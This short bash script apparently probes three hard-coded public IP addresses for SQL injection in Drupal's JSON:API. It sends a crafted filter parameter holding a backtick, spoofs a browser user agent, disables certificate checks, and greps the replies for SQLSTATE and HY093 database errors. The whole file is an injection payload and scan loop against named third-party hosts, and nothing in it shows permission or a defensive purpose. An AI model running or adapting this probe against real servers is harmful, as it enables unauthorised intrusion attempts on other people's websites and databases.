#!/bin/bash
UA='Mozilla/5.0'
for ip in 216.92.142.159 150.134.10.80 138.68.137.212; do
  echo "=== $ip ==="
  out=$(curl -gsk -m 35 -A "$UA" -o /tmp/d8_$ip.txt -w 'CODE:%{http_code} SIZE:%{size_download} TIME:%{time_total}' 'https://'"$ip"'/jsonapi/node/article?filter[t][condition][path]=title&filter[t][condition][value][%60]=x' 2>&1)
  echo "$out"
  if [ -f /tmp/d8_$ip.txt ]; then
    echo "HY093:$(grep -ac 'HY093' /tmp/d8_$ip.txt)"
    grep -aoE 'SQLSTATE[^<]{0,90}|The website encountered[^<]{0,40}' /tmp/d8_$ip.txt | head -2
    rm -f /tmp/d8_$ip.txt
  fi
done
echo D8DONE
